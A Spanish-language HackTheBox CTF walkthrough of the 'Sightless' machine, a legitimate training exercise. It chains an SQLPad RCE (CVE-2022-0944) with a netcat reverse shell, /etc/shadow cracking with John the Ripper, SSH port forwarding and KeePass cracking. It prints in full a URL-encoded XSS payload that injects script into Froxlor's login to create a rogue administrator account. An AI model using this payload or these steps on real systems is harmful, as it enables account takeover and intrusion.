Maquina Gratuita Sightless de HackTheBox | Full WriteUp

SIGHTLESS


Por
Rick Álvarez

Reconocimiento

Ping, IP y SO: 

Como tiene un ttl cerca de 64 bits, sabemos que es una maquina Linux.


Enumeración

Quick Scan:

Servicios y versiones


Tenemos 3 puertos:

Puerto 21 - Ftp

En este puerto parece ser que nos pide virtual hosting, es decir, agregar el nombre sightless.htb a nuestro archivo /etc/hosts:

Probamos con ping:

Ahora si, intentamos ingresar al servicio de FTP con usuario anónimo, ya que de momento, no contamos con credenciales.


Parece que no le gustó el servicio inseguro, vamos a ver si por un servicio con SSL/TLS si nos permite, con una herramienta como lftp, si no la tienes instalada (como yo) la instalamos solo poniendo el comando y kali nos preguntará si queremos instalar:


Intentamos ingresar con lftp con usuario anonymous, primero sin contraseña, posteriormente con la contraseña anonymous también:


Bien, parece que de momento nada por aquí, continuemos con el siguiente puerto...


Puerto 22 - OpenSSH 8.9p1

Mismo caso que en el puerto 21, no tenemos credenciales, pudieramos intentar tal ves, buscar vulnerabilidades para este servicio que pudieramos explotar:



Puerto 80 - nginx 1.18

Whatweb:


Sitio + Wappalizer:


Vale, por aqui no hay mucho que digamos... sigamos jugando en le sitio a ver que podemos encontrar...


Codigo - Ctrl + U

Vaya! aquí si que he encontrado algo interesante:


Tenemos tal ves un sitio adicional.

http://sqlpad.sightless.htb

Vamos agregar esto a nuestro virtual hosting

NOTA: tal ves si hubieramos hecho un fuzzing, pudiera tal ves también salido este subdominio/virtual host.

Intentamos ingresar a http://sqlpad.sightless.htb...

Vaya vaya!

Parece que tenemos un panel sql.

Pero primero y como ya es costumbre, vamos a indagar un poco de que es esta aplicación web:



Bien, 

Indagando un poco me encuentro con posibles usuarios en la sección de access:


Esto lo agregamos a nuestra carpeta de trabajo:


Otra cosa valiosa que encontramos, al dar en los 3 puntos de la esquina superior derecha encontramos el About:

Esto es bastante valioso ya que si indagamos un poco en Google:

Señores, tenemos un CVE, es el CVE-2022-0944


Explotación

Encontramos un repositorio en github de un RCE, vamos a ver si podemos explotarlo:

https://github.com/0xDTC/SQLPad-6.10.0-Exploit-CVE-2022-0944

Importante, siempre revisar el README.md

Ejecutamos:


Seguimos las instrucciones e iniciamos nuestro netcat en nuestra maquina atacante:


Continuamos:


Vale, si todo ha salido bien, deberemos ver una conexión reversa a nuestra maquina atacante:


Pufff somos root!

Esperen, hay algo raro!


Bien, primero lo primero vamos a tener una full stty, ya que estamos limitados por la terminal:

...

Ahora si, vamos a explorar donde estamos ya que por el tipo de nombre del host, todo parece indicar que estamos en un contenedor:



Vamos a ver cuantos usuarios tenemos para trabajar:


Bien, tenemos root, node y un tal michael


Lo primero que se me ocurrió es ver el archivo /etc/shadow donde se encuentran las contraseñas del sistema:


Para nuestra suerte, las tenemos disponible para posiblemente dumpear alguna de las credenciales, tanto para michael como la de root.


Preparamos nuestros archivos en la maquina atacante para poder realizar el unshadow:


Es hora de utilizar John the Ripper en conjunto de nuestro diccionario de contraseñas favorito rockyou.txt:



Vale, ya que tenemos las contraseñas es mejor que las guardemos:


Ahora que tenemos estas credenciales, podriamos intentar conectarnos al servicio ssh de la maquina victima:


Y estamos dentro!


Tenemos la primer flag!


Post-Explotación

Bien es tiempo de realizar una escalda de privilegios.

Para esto vamos a tener que enumerar lo que sea necesario.

Primero veamos que usuarios tenemos disponibles:


Vale, tenemos ademas de michael, el usuario john.

Despues de estar intentando sudoers (usuario michael no esta dentro de la lista permitida), encontrar archivos suid (nada interesante), ahora intentare ejecutar linpeas.sh para poder enumerar mucho mas...



...

Despues de salir a pasear con amigos a un evento de hamburguesas y dejar corriendo el linpieas, me di cuenta de algunos textos que aparecieron como:


al parecer hay un virtual hosting desde la maquina comprometida con el usuario michael.

Vamos a ver si podemos ver el archivo /etc/hosts:


Interesante...


Además de unos puertos activos:

Algo que se me ocurre es que, pudieramos hacer un request por curl (ya vi y si tiene curl) para ver si hay algo interesante en cada uno y si es relevante, tal ves hacer un port forwarding hacia nuestra maquina victima:


Puerto 41345


Puerto 33060


Puerto 37097


Puerto 3000


Vale, parece que este es el servicio que ya hemos explotado!


Puerto 53

Este no resolvio ninguna cabecera, asi que por lo pronto lo dejaremos ahi...


Puerto 3306



Puerto 57315

Este servicio pareciera algún tipo de api que esta esperando parametros...


Puerto 8080



Parece que tenemos un servicio adicional de Froxlor, una pantalla de inicio de sesion


Bien, con lo anterior vamos a hacer lo siguiente,

Vamos a redireccionar el puerto 8080 de la maquina victima hacia nuestra maquina atacante.

Para esto hay varias formas de hacerlo pero como tenemos ssh, vamos hacerlo con esta herramienta:

Si todo ha ido bien, ahora deberíamos tener en nuestra maquina el sitio de Froxlor


Vuala!


Primero lo primero, que rayos es Froxlor?


Indagando en internet salen algunas opciones de vulnerabilidades interesantes:



De acuerdo con este documento de Github desde la pagina de INCIBE podemos intentar un XSS que permite agregar un usuario administrador.

Por aquí nos recomiendan el payload y yo lo ajuste para que pudiera tener las siguientes credenciales:


usuario:rick

Nombre:Rick

password:Rick@1234


Este es mi paylaod


loginname=admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"http%3a//127.0.0.1%3a8081/admin_admins.php"%3bvar+params%3d"new_loginname%3drick%26admin_password%3dRick%40%401234%26admin_password_suggestion%3dtest%26def_language%3den%26api_allowed%3d1%26name%3dRick%26email%3dricktest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}&password=rick&dologin=


Vamos a ver si conseguimos entrar como administradores:


Intentamos loggearnos


Y si vamos a ver los usuarios administradores:



Bien

Como sabemos, Froxlor es un gestor de sitios, así que vamos a ver que podemos gestionar desde aquí...

Si vamos al trafico, sabemos que podemos gestionar un FTP donde el usuario es web1


Entramos y vamos a ver si podemos gestionar algo desde aquí:

Vamos a editar el usuario desde FTP > Accounts


Vamos a utilizar una contraseña por ejemplo Ftp@1234

Guardamos y ahora, desde nuestra maquina atacante vamos intentar ingresar al ftp

Recordemos que usaremos lftp para poder gestionar la validacion de seguridad ssl:


Hemos obtenido un archivo, Database.kdb


Si no sabes que son estos archivos, usualmente esta extension kdb es de archivos de Keepass

Vamos intentar hacer fuerza bruta a nuestro nuevo archivo con john the ripper


Para esto vamos a utilizar un hash de este archivo con keepass2john:


Bien, ahora si vamos con john


Tenemos una contraseña

bulldogs


Vamos a utilizarla para abrir el archivo Database.kdb

Tuve que instalar keepassxc (con sudo apt install keepassxc) para poder importar un archivo kdb:

Seleccionamos el archivo y colocamos la contraeseña y damos en Continue:

Vaya vaya tenemos una contraseña de root

...

Una vez que terminamos de finalizar la conversion al nuevo formato de keepass, podemos ver tanto la contraseña como un archivo id_rsa:


Procedemos a guardarlo:


Dado a que la contraseña no la acepta:


Y dado a que también tiene un error el archivo id_rsa;


E investigando por un buen rato, tal parece que tiene un error de formato el archivo que se descarga de keepass.


Para solucionarlo lo que hay que hacer es copiar el contenido de id_rsa y copiarlo en un nuevo archivo:


Y

Estamos dentro!


Ya por ultimo capturamos la flag y terminamos con la maquina sightless!





Comentarios